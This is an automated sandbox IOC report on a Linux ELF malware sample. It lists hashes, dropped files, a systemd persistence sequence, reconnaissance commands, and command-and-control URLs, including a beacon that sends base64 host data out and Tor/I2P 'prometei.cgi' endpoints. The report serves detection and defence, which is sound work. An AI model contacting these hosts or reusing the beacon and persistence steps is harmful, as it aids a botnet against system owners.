Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

Download

na.elf

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

initial sample

Details

Filetype:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy:	7.942834951215018
Filename:	na.elf
Filesize:	435932
MD5:	6fc6051a0956b9e4c57fc3dddb66782a
SHA1:	e4f9b6de6372303a0e80bbc5aa1c4beedadd8e89
SHA256:	8e1758dc091edf34b33aa9feabd2091978c292ec8b416a9a42a9bb130d6e91f8
SHA512:	114ba31d07428421ed1bb2cc1a498dedd8d99470efe21fca6bcc047b6ce5c0800195a48e6c5829f85ea0e3f9f920a9b916a88444c195baeb4c211076dd08412a
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgz:25WOSACZSV6eKRH5EPiamb4DsDwwcj
Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v.

Signature Hits	Behavior Group	Mitre Attack
Antivirus / Scanner detection for submitted sample	AV Detection
Malicious sample detected (through community Yara rule)	System Summary
Multi AV Scanner detection for submitted file	AV Detection
Drops files in suspicious directories	Hooking and other Techniques for Hiding and Protection	Masquerading
Found Tor onion address	Networking	Proxy
Sample deletes itself	Hooking and other Techniques for Hiding and Protection	File Deletion
ELF contains segments with high entropy indicating compressed/encrypted content	Hooking and other Techniques for Hiding and Protection	Obfuscated Files or Information
Executes commands using a shell command-line interpreter	Persistence and Installation Behavior	Scripting
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Uses the "uname" system call to query kernel version information (possible evasion)	Malware Analysis System Evasion	Security Software Discovery
Writes ELF files to disk	Persistence and Installation Behavior
Yara signature match	System Summary
URLs found in memory or binary data	Networking

/etc/CommId

ASCII text, with no line terminators

dropped

Details

File:	/etc/CommId
Category:	dropped
Dump:	CommId.61.dr
ID:	dr_4
Target ID:	61
Process:	/usr/sbin/uplugplay
Type:	ASCII text, with no line terminators
Entropy:	3.702819531114783
Encrypted:	false
Ssdeep:	3:SRFv/T2i:gT2i
Size:	16
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Found Tor onion address	Networking	Proxy

/usr/sbin/uplugplay

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

dropped

Details

File:	/usr/sbin/uplugplay
Category:	dropped
Dump:	uplugplay.12.dr
ID:	dr_0
Target ID:	12
Process:	/tmp/na.elf
Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy:	7.942834951215018
Encrypted:	false
Ssdeep:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgz:25WOSACZSV6eKRH5EPiamb4DsDwwcj
Size:	435932
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for dropped file	AV Detection
Drops files in suspicious directories	Hooking and other Techniques for Hiding and Protection	Masquerading
Found Tor onion address	Networking	Proxy
Executes commands using a shell command-line interpreter	Persistence and Installation Behavior	Scripting
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes ELF files to disk	Persistence and Installation Behavior

/memfd:snapd-env-generator (deleted)

ASCII text

dropped

Details

File:	/memfd:snapd-env-generator (deleted)
Category:	dropped
Dump:	memfd_snapd-env-generator (deleted).50.dr
ID:	dr_3
Target ID:	50
Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Type:	ASCII text
Entropy:	3.7627880354948586
Encrypted:	false
Ssdeep:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
Size:	76
Whitelisted:	false
Reputation:	high

/usr/lib/systemd/system/uplugplay.service

ASCII text

dropped

Details

File:	/usr/lib/systemd/system/uplugplay.service
Category:	dropped
Dump:	uplugplay.service.12.dr
ID:	dr_1
Target ID:	12
Process:	/tmp/na.elf
Type:	ASCII text
Entropy:	4.769509838572339
Encrypted:	false
Ssdeep:	3:zMZa75X1PxQJqtWA1+DRvBADMikAdIgQ+aQmNJX4ev+sirSkQmWA1+DRvn:z8uXcqtWA4RZAMD+aBNdhTILQmWA4Rv
Size:	145
Whitelisted:	false
Reputation:	high

Processes

Path

Cmdline

Malicious

/tmp/na.elf

/bin/sh

sh -c "pgrep na.elf"

/bin/sh

/usr/bin/pgrep

pgrep na.elf

/tmp/na.elf

/bin/sh

sh -c "pidof na.elf"

/bin/sh

/usr/bin/pidof

pidof na.elf

/tmp/na.elf

/bin/sh

sh -c "pgrep uplugplay"

/bin/sh

/usr/bin/pgrep

pgrep uplugplay

/tmp/na.elf

/bin/sh

sh -c "pidof uplugplay"

/bin/sh

/usr/bin/pidof

pidof uplugplay

/tmp/na.elf

/bin/sh

sh -c "pgrep upnpsetup"

/bin/sh

/usr/bin/pgrep

pgrep upnpsetup

/tmp/na.elf

/bin/sh

sh -c "pidof upnpsetup"

/bin/sh

/usr/bin/pidof

pidof upnpsetup

/tmp/na.elf

/bin/sh

sh -c "systemctl daemon-reload"

/bin/sh

/usr/bin/systemctl

systemctl daemon-reload

/tmp/na.elf

/bin/sh

sh -c "systemctl enable uplugplay.service"

/bin/sh

/usr/bin/systemctl

systemctl enable uplugplay.service

/tmp/na.elf

/bin/sh

sh -c "systemctl start uplugplay.service"

/bin/sh

/usr/bin/systemctl

systemctl start uplugplay.service

/usr/lib/systemd/systemd

/usr/lib/systemd/system-environment-generators/snapd-env-generator

/usr/lib/systemd/systemd

/usr/lib/systemd/system-environment-generators/snapd-env-generator

/usr/lib/systemd/systemd

/usr/sbin/uplugplay

/bin/sh

sh -c "/usr/sbin/uplugplay -Dcomsvc"

/bin/sh

/usr/sbin/uplugplay

/usr/sbin/uplugplay -Dcomsvc

/usr/sbin/uplugplay

/bin/sh

sh -c hostnamectl

/bin/sh

/usr/bin/hostnamectl

hostnamectl

/usr/sbin/uplugplay

/bin/sh

sh -c hostnamectl

/bin/sh

/usr/bin/hostnamectl

hostnamectl

/usr/sbin/uplugplay

/bin/sh

sh -c "dmidecode --type baseboard"

/bin/sh

/usr/sbin/dmidecode

dmidecode --type baseboard

/usr/sbin/uplugplay

/bin/sh

sh -c uptime

/bin/sh

/usr/bin/uptime

uptime

/usr/sbin/uplugplay

/bin/sh

sh -c dmidecode

/bin/sh

/usr/sbin/dmidecode

dmidecode

/usr/sbin/uplugplay

/bin/sh

sh -c "uname -a"

/bin/sh

/usr/bin/uname

uname -a

/usr/sbin/uplugplay

/bin/sh

sh -c uptime

/bin/sh

/usr/bin/uptime

uptime

/usr/sbin/uplugplay

/bin/sh

sh -c "uname -a"

/bin/sh

/usr/bin/uname

uname -a

/usr/lib/systemd/systemd

/lib/systemd/systemd-hostnamed

There are 72 hidden processes, click here to show them.

URLs

Name

Malicious

http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCnZtd2FyZQ0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSAgJiBidWxsc2V5ZS9zaWQgJiANCg0KL3Vzci9zYmluLw0KIyBkbWlkZWNvZGUgMy4yfDE3NDM2NDAwOTcNCg0KfQ0K&i=OW94QYZJX86RU66K&h=galassia&enckey=ukgueiGmTCfARUqEWqEj8HJ+4lXqLv1NSijS+BVeZmIBwfQIK8u5nppAL+fT0dXxE0v7rbs+hfJ94jZCKPC1jSQX0YnGk3/6QcgtQNN3cSztTV7kPYwyZYPS3qBQTpfl9TH6cgxwwzd/ZoChwjnq+5ZiWVtENjo7sCFeC3ORlqU=

152.36.128.18

http://152.36.128.18/cgi-bin/p.cgi?r=15&i=OW94QYZJX86RU66K

152.36.128.18

http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni

unknown

http://upx.sf.net

unknown

http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi

unknown

http://xinaccfea.org/cgi-bin/p.cgi?r=0&auth=hash&i=OW94QYZJX86RU66K&enckey=ukgueiGmTCfARUqEWqEj8HJ-4lXqLv1NSijS-BVeZmIBwfQIK8u5nppAL-fT0dXxE0v7rbs-hfJ94jZCKPC1jSQX0YnGk3/6QcgtQNN3cSztTV7kPYwyZYPS3qBQTpfl9TH6cgxwwzd/ZoChwjnq-5ZiWVtENjo7sCFeC3ORlqU_

85.214.228.140

https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

unknown

http://152.36.128.18/cgi-bin/p.cgi

unknown

http://dummy.zero/cgi-bin/prometei.cgi

unknown

http://xinchaoaccfea.net/cgi-bin/p.cgi?r=0&auth=hash&i=OW94QYZJX86RU66K&enckey=ukgueiGmTCfARUqEWqEj8HJ-4lXqLv1NSijS-BVeZmIBwfQIK8u5nppAL-fT0dXxE0v7rbs-hfJ94jZCKPC1jSQX0YnGk3/6QcgtQNN3cSztTV7kPYwyZYPS3qBQTpfl9TH6cgxwwzd/ZoChwjnq-5ZiWVtENjo7sCFeC3ORlqU_

34.229.166.50

http://152.36.128

unknown

There are 1 hidden URLs, click here to show them.

Domains

Name

Malicious

xinchaoaccfea.net

34.229.166.50

Details

Name:	xinchaoaccfea.net
IP:	34.229.166.50
TargetID:	-1
Active:	true
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Suricata IDS alerts with low severity for network traffic	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

xinaccfea.org

85.214.228.140

Details

Name:	xinaccfea.org
IP:	85.214.228.140
TargetID:	-1
Active:	true
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Suricata IDS alerts with low severity for network traffic	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

xinchaoaccfea.com

unknown

IPs

Domain

Country

Malicious

152.36.128.18

unknown

United States

Details

IP:	152.36.128.18
TargetID:	-1
Country:	United States
Countrycode:	USA
ASN number:	81
ASN name:	NCRENUS
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Found Tor onion address	Networking	Proxy
HTTP GET or POST without a user agent	Networking
Suricata IDS alerts with low severity for network traffic	Networking
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

34.229.166.50

xinchaoaccfea.net

United States

Details

IP:	34.229.166.50
TargetID:	-1
Country:	United States
Countrycode:	USA
ASN number:	14618
ASN name:	AMAZON-AESUS
Private:	false
Domain:	xinchaoaccfea.net

Signature Hits	Behavior Group	Mitre Attack
Suricata IDS alerts with low severity for network traffic	Networking

85.214.228.140

xinaccfea.org

Germany

Details

IP:	85.214.228.140
TargetID:	-1
Country:	Germany
Countrycode:	DEU
ASN number:	6724
ASN name:	STRATOSTRATOAGDE
Private:	false
Domain:	xinaccfea.org

Signature Hits	Behavior Group	Mitre Attack
Suricata IDS alerts with low severity for network traffic	Networking

109.202.202.202

unknown

Switzerland

Details

IP:	109.202.202.202
TargetID:	-1
Country:	Switzerland
Countrycode:	CHE
ASN number:	13030
ASN name:	INIT7CH
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.43

unknown

United Kingdom

Details

IP:	91.189.91.43
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.42

unknown

United Kingdom

Details

IP:	91.189.91.42
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

Memdumps

Base Address

Regiontype

Protect

Malicious

Download

34e9000

page read and write

7ffd507af000

page execute read

7f0c30021000

page read and write

7f0c35003000

page read and write

1575000

page read and write

4f9000

page execute read

7ffd507a1000

page read and write

7f0c37808000

page read and write

7f0c36005000

page read and write

7f0c35804000

page read and write

7f0c36806000

page read and write

7f0c30000000

page read and write

7f0c38009000

page read and write

7f0c37007000

page read and write

7f0c3880a000

page read and write

7f0c2effe000

page read and write

7f0c2f7ff000

page read and write

7f0c34802000

page read and write

There are 8 hidden memdumps, click here to show them.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
na.elf

Files

Processes

URLs

Domains

IPs

Memdumps

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Reportna.elf

Files

Processes

URLs

Domains

IPs

Memdumps

IOC Report
na.elf